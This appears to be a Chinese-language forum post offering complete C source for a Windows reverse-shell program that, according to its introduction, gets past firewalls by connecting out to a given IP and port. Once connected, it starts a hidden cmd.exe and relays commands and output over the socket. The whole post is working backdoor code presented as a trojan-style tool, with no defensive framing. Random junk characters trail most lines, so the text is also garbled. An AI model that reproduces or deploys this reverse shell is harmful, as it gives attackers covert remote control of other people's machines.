Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ' pgPQM<  
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/* ============================== &|Wqzdo?#  
Rebound port in Windows NT fY^CIb$Y  
By wind,2006/7 ~~Bks{"BS  
===============================*/ QM8Ic,QFvo  
#include c5%}* "z  
#include -E1-(TS  
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#pragma comment(lib,"wsock32.lib") G_?U?:!AC  
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void OutputShell(); ~*bfS}F8I  
SOCKET sClient; PP{9Y Vr  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; z'l HL  
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void main(int argc,char **argv) {ol7*%u  
{ $ (;:4  
WSADATA stWsaData; 7SS#V  
int nRet; ;@=3 @v  
SOCKADDR_IN stSaiClient,stSaiServer; u `/V1  
k6M D3c  
if(argc != 3) q;bw}4  
{ K@*+;6y@  
printf("Useage:\n\rRebound DestIP DestPort\n"); ^+Nd\tp  
return; rX)&U4#[m  
} 3}FZg w .  
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WSAStartup(MAKEWORD(2,2),&stWsaData); la<.B^  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MJch Z  
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stSaiClient.sin_family = AF_INET; )Mdddz4  
stSaiClient.sin_port = htons(0); 4_5f4%S  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); f|VCibI  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Q k}RcP  
{ Bk\Y v0  
printf("Bind Socket Failed!\n"); ,2$<Pt;  
return; T`wDdqWbEG  
} "\EX)u9ze  
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stSaiServer.sin_family = AF_INET; Q&.uL}R  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2, )>F"R  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
{)"[_<  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) te(H6c#0  
{ avq$aq(3&  
printf("Connect Error!"); F8Ety^9>9  
return; <~
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} WGn=3(4  
OutputShell(); _cQ '3@  
} x3&gB`j-  
Ht;Rz*}  
void OutputShell() e:Y+-C5  
{ v^@)&,  
char szBuff[1024]; ={;pg(  
SECURITY_ATTRIBUTES stSecurityAttributes; |\Jnr3)  
OSVERSIONINFO stOsversionInfo; ~g/"p`2-N  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; P6.PjK!Ar  
STARTUPINFO stStartupInfo; l SdA7  
char *szShell; nQmHYOF%  
PROCESS_INFORMATION stProcessInformation; N_bgWQY  
unsigned long lBytesRead; Cd)g8
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .4^+q9M  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rQ{|0+l  
stSecurityAttributes.lpSecurityDescriptor = 0; IOZw[9](+  
stSecurityAttributes.bInheritHandle = TRUE; C33Jzn's  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |K1S(m<F  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^(^P#EEG  
se %#U40*  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `[5xncZ-  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GKIzU^f  
stStartupInfo.wShowWindow = SW_HIDE; g@^y$wt  
stStartupInfo.hStdInput = hReadPipe; > f X^NX  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; pRV.\*:c  
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GetVersionEx(&stOsversionInfo); w>j5oz}  
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switch(stOsversionInfo.dwPlatformId) KsOSPQDGE  
{ ?h4[yp=w  
case 1: s 1M-(d Q  
szShell = "command.com"; O80Z7  
break; B
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default: `3\U9ZH23  
szShell = "cmd.exe"; $a~  
break; m+'1c}n^7  
} *,G<X^  
c;]\$#2  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); M _< |n  
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send(sClient,szMsg,77,0); LmJjO:W}^y  
while(1) 2?%*UxcO  
{ :;Z/$M16B  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); YaS!YrpI  
if(lBytesRead) L-E &m*%  
{  it H  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); mH$`)i8  
send(sClient,szBuff,lBytesRead,0); aQ(P#n>a2  
} (nLzWvN  
else _UTN4z2aTG  
{ X[?fU&  
lBytesRead=recv(sClient,szBuff,1024,0); ,M`1 k  
if(lBytesRead<=0) break; ]zj#X\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +ZjDTTk  
} &I-:=ir  
} z{3`nd,  
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return;
G_=i#Tu[  
}